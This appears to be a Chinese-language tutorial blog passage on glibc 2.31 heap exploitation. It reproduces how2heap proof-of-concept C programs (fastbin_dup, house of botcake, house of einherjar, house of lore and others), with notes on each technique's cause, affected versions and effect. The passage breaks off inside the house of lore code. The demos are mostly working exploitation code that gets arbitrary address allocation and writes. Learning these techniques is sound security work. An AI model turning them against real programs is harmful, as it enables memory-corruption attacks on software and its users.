how2heap

glibc 2.31

docker-ubuntu-20.04- 2.31-0ubuntu9.16

calloc() 函数用于分配一块内存,并初始化所有字节为零。它通常用于需要分配多个元素的数组或结构体,并且希望在分配时将它们的初始值设置为零。它绕过tcache来分配内存

函数原型

1
void* calloc(size_t num, size_t size);

参数

  • num:要分配的元素数量。
  • size:每个元素的字节大小。

返回值

  • 成功时,返回指向分配内存块的指针(类型为 void*)。
  • 如果分配失败,返回 NULL

fastbin_dup

效果:实现 double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

assert(a == c);
}

首先申请8个chunk,7个用于填充tcachebin,1个用于隔离

然后free掉7个chunk填充tcachebin

继续再申请3个chunk–chunk1,2,3

按顺序free chunk1 chunk2 chunk1

最终再连续申请3次即可得到两个控制chunk1的指针

漏洞成因

引入tcache机制后fastbin的机制没变,依旧是只检查相邻节点的后一个

适用范围

  • 2.23—— 至今

利用原理

  • 首先申请7个chunk,再申请同样3大小的chunk a b c
  • 填满tcache,再free a b a 即可在fastbin中形成a->b<-a
  • 申请出a b 修改 a,实现修改fastbin链表到任意可写的地方

相关技巧

引入tcache之前无需填充tcache,引入tcache之后要填充tcache

利用效果

通过 double free 实现任意地址写

fastbin_dup_consolidate

效果:实现 double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

/*
原始参考文献:https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8

本文档主要用于演示 malloc_consolidate 的工作原理,以及如何利用双重释放(double free)来获得两个指向同一大块内存的指针,这通常很难直接做到,因为存在前用检查(previnuse check)。有趣的是,这还包括某些大小的 tcache(线程缓存)大小块。

malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714)本质上是合并所有快速分配块(fastbin chunks)及其相邻的块,将它们放入未排序的块中,并在可能的情况下与顶部块合并。

截至 glibc 版本 2.35,该函数仅在以下五个地方被调用:

_int_malloc:当正在分配一个大块时(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
_int_malloc:如果没有找到块并且顶部块太小(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
_int_free:如果块大小 >= FASTBIN_CONSOLIDATION_THRESHOLD(65536)(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
mtrim:始终(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
__libc_mallopt:始终(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
我们将针对第一个地方,因此我们需要分配一个不属于小块(small bin)的块(因为我们试图进入此检查的 "else" 分支: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901)。这意味着我们的块大小需要 >= 0x400(因此是大块)。值得注意的是,最大的 tcache 大小块是 0x410,所以如果我们的块大小在 [0x400, 0x410] 范围内,我们可以利用双重释放来控制一个 tcache 大小块。.
*/

#define CHUNK_SIZE 0x400

int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);

void* p1 = malloc(0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);

printf("Fill up the tcache...\n");
for(int i = 0; i < 7; i++)
free(ptr[i]);

printf("Now freeing p1 will add it to the fastbin.\n\n");
free(p1);

printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a tcache-sized chunk with chunk size 0x410 ");
void* p2 = malloc(CHUNK_SIZE);

printf("p2=%p.\n", p2);

printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");

assert(p1 == p2);

printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
free(p1); // vulnerability (double free)
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");

printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");

printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
void *p3 = malloc(CHUNK_SIZE);

assert(p3 == p2);

printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
printf("We have achieved duplication!\n\n");

printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");

return 0;
}

漏洞成因

适用范围

  • 2.23—— 至今

利用原理

该技巧可以通过double free(一个在bins中,一个在其他的大的chunk中)来实现任意地址写

  • 申请7个chunk,再申请1个 chunk 名 p1
  • 释放掉前7个chunk来填满tcache,再释放p1,此时它会进入fastbin中
  • 申请一个largebin_chunk,申请大小为0x400那样得到的chunk为0x410(在tcache管理范围内),malloc()此时会调用consilidate()函数合并所有的fastbin,p1就会被用在新申请的largebin_chunk的头部得到p2
  • 再次free(p1)tcache中就会多一个chunk(0x410),在将它申请出来得到p3
  • 最终p2=p3也就再次实现了两个可控的指针指向同一个chunk

相关技巧

利用效果

fastbin_dup_into_stack

效果:通过 double free 来实现分配地址到栈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long long stack_var;

fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
/*VULNERABILITY*/
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert(p == 8+(char *)&stack_var);
// assert((long)__builtin_return_address(0) == *(long *)p);
}

漏洞成因

溢出,UAF等

适用范围

  • 2.26—— 至今

利用原理

这个是fastbin_dup的扩展,基本一样:

  • 首先申请7个chunk,再申请同样3大小的chunk a b c
  • 填满tcache,再free a b a 即可在fastbin中形成a->b<-a
  • 申请出a b 修改 a 的fd指针为target - 0x10,并伪造target处的size
  • 最后target就会出现在fastbin链表中,申请出即可

相关技巧

利用效果

任意地址分配

fastbin_reverse_into_tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
setbuf(stdout, NULL);

printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);

// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}

printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);

// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}

char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
free(victim);

printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);

// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}

// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));

printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var[2],
(char*)stack_var[2]
);

printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);

//------------VULNERABILITY-----------

// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];

//------------------------------------

printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);

// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}

printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);

for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}

printf(
"\n"
"下一个分配会触发栈被覆盖。tcache 为空,但 fastbin 不是,因此下一个分配来自 fastbin。\n"
"同时,fastbin 中使用了 7 个块来补充 tcache。\n"
"这 7 个块以逆序复制到 tcache 中,因此我们目标的栈地址\n"
"最终成为 tcache 中的第一个块。\n"
"它包含指向列表中下一个块的指针,这就是为什么一个堆指针会被写入栈中的原因。\n"
"\n"
"之前我们提到,如果我们释放少于 6 个额外的 fastbin 指针,攻击仍然会奏效,但前提是\n"
"栈上的值为零。这是因为栈上的值被视为链表中的下一个指针,\n"
"如果它不是有效指针或空指针,则会触发崩溃。\n"
"\n"
"我们在栈上的数组内容现在如下所示:\n\n"
);

malloc(allocsize);

for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}

char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);

assert(q == (char *)&stack_var[2]);

return 0;
}

漏洞成因

适用范围

  • 2.26—— 至今

利用原理

  • 申请了14个chunk,free掉7个填满tcache
  • free(victim),victim是我们要修改的chunk
  • 再free掉6个chunk填满fastbin,
  • 修改victim的fd指针,指向target
  • 清空tcache,此时申请chunk会从fastbin中取出,同时将fastbin中剩余的chunk逆序放入tcache中,我们第一个free的chunk(即victim)的fd(即栈地址)成为了tcache中的首个chunk,实现向target的fd,bk写入堆地址
  • 最后申请一次就可以直接申请出这个target伪造的chunk

**注意:**若栈地址上的内容都为零,在fastbin中放入vicitm即可(无需再放6个)

相关技巧

利用效果

任意地址写入一个堆地址,任意地址分配

house of botcake

本例即是通过构造一个chunk_overlapping来辅助我们double free一个tcache chunk,从而得到任意地址分配的效果

效果:任意地址分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* 就是2.29新引入的key机制,检查tcache_double
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */

// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");

// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);

// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);

// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);

puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);

puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/

// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;

// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);

// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");

// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");

return 0;
}

首先程序先在栈上声明了一个变量

之后申请了7个大小为0x100的chunks来为后面填满tcache来做准备

然后申请了3个chunk ,prev(0x100),a(0x100)还有用于防止后面我们释放a时a和top chunk合并的一个chunk(0x10)

到此准备工作就结束了;

下面程序free掉了之前我们申请的那7个chunk来填满我们的tcache

之后程序free掉了a,a被放入了unsorted bin中

此时我们在free prev,由于a,prev相邻,因此二者合并成了一个大chunk,同样被放进了unsorted bin中

此时free list上就没有了a的信息

现在程序从tcache中取出一个chunk,tcache中就有了一个空位,我们再次free a,就会把我们的a放到tcache中了

此时,我们的a既在tcache中,又在unsortedbin的大chunk中

也就是完成了一个double free

之后程序malloc了b(0x120),由于unsortedbin中的chunk大小大于0x120,因此做了一个切割,并把剩下的部分留在unsorted bin中

此时的b是从之前prev的位置开始的,因此我们通过覆写b来将我们a的fwd指针指向栈上

此时,我们再申请两次就可以分配到栈上的地址了

漏洞成因

double free

适用范围

  • 2.26—— 至今
  • 多次释放 chunk 的能力

利用原理

该技巧可以用于绕过 tcache->key 的检查,利用过程如下:

  • 申请 7 个大小相同,大小大于 0x80chunk,再申请三个,分别为 chunk AchunkBchunk C
  • 释放前 7 个和 chunk A,前面 7 个都会进入到 tcachebin 里面,chunk A 进入到 unsortedbin
  • 释放 chunk B,则 chunk B 会和 chunk A 合并
  • tcachebin 分配走一个
  • 再次释放 chunk B,此时 B 同时存在与 unsortedbintcachebin

相关技巧

  • 在高版本需要绕过指针保护的检查

利用效果

  • 构造出堆重叠,为后续利用做准备

house of einherjar

效果:任意地址分配

ctf-wiki

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
/*
* This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.31.
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
* It has the additional requirement of a heap leak.
*
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
* The following restriction for normal bins won't allow us to create chunks bigger than the memory
* allocated from the system in this arena:
*
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */

setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar 2!\n");
printf("Tested on Ubuntu 20.04 64bit (glibc-2.31).\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

printf("This file demonstrates a tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n");

// prepare the target
intptr_t stack_var[4];
printf("\nThe address we want malloc() to return is %p.\n", (char *) &stack_var);

printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
intptr_t *a = malloc(0x38);

// create a fake chunk
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck

printf("Our fake chunk at %p looks like:\n", a);
printf("prev_size (not used): %#lx\n", a[0]);
printf("size: %#lx\n", a[1]);
printf("fwd: %#lx\n", a[2]);
printf("bck: %#lx\n", a[3]);

printf("\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
uint8_t *b = (uint8_t *) malloc(0x28);
printf("b: %p\n", b);

int real_b_size = malloc_usable_size(b);
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf("\nWe allocate 0xf8 bytes for 'c'.\n");
uint8_t *c = (uint8_t *) malloc(0xf8);

printf("c: %p\n", c);

uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit

printf("\nc.size: %#lx\n", *c_size_ptr);
printf("c.size is: (0x100) | prev_inuse = 0x101\n");

printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
b[real_b_size] = 0;
printf("c.size: %#lx\n", *c_size_ptr);

printf("It is easier if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");

// Write a fake prev_size to the end of b
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

// Change the fake chunk's size to reflect c's new prev_size
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
a[1] = fake_size;

printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf("\nFill tcache.\n");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}

printf("Fill up tcache list.\n");
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}

printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
free(c);
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
intptr_t *d = malloc(0x158);
printf("Next malloc(0x158) is at %p\n", d);

// tcache poisoning
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n");
uint8_t *pad = malloc(0x28);
free(pad);

printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

printf("We overwrite b's fwd pointer using chunk 'd'\n");
d[0x30 / 8] = (long) stack_var;

// take target out
printf("Now we can cash out the target chunk.\n");
malloc(0x28);
intptr_t *e = malloc(0x28);
printf("\nThe new chunk is at %p\n", e);

// sanity check
assert(e == stack_var);
printf("Got control on target/stack!\n\n");
}

漏洞成因

溢出写、off by oneoff by null

适用范围

  • 2.23—— 至今
  • 可分配大于处于 unsortedbinchunk

利用原理

利用 off by null 修改掉 chunksize 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping

  • 申请 chunk A、chunk B、chunk C、chunk Dchunk D 用来做 gapchunk A、chunk C 都要处于 unsortedbin 范围
  • 释放 A,进入 unsortedbin
  • B 写操作的时候存在 off by null,修改了 CP
  • 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
  • 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

相关技巧

虽然该利用技巧至今仍可以利用,但是需要对 unlink 绕过的条件随着版本的增加有所变化。

最开始的 unlink 的代码是:

1
2
3
4
5
6
7
8
9
10
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
// ..... \
} \
}

只需要绕过__builtin_expect (FD->bk != P || BK->fd != P, 0) 即可,因此,不需要伪造地址处于高位的 chunkpresize 域。

高版本的 unlink 的条件是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
// ......
}

新增了 chunksize (p) != prev_size (next_chunk (p)),对 chunksize 有了检查,伪造的时候需要绕过。

利用效果

  • 构造 chunk overlap 后,可以任意地址分配
  • 结合其他方法进行任意地址读写

house of lore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

[ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
void* fake_freelist[7][4];

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");
void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake free-list on the stack\n");
for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
fprintf(stderr, "fake free-list at %p\n", fake_freelist);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
"introduced by smallbin-to-tcache mechanism\n");
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing dummy chunk\n");
for(int i=0; i<7; i++) free(dummies[i]);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

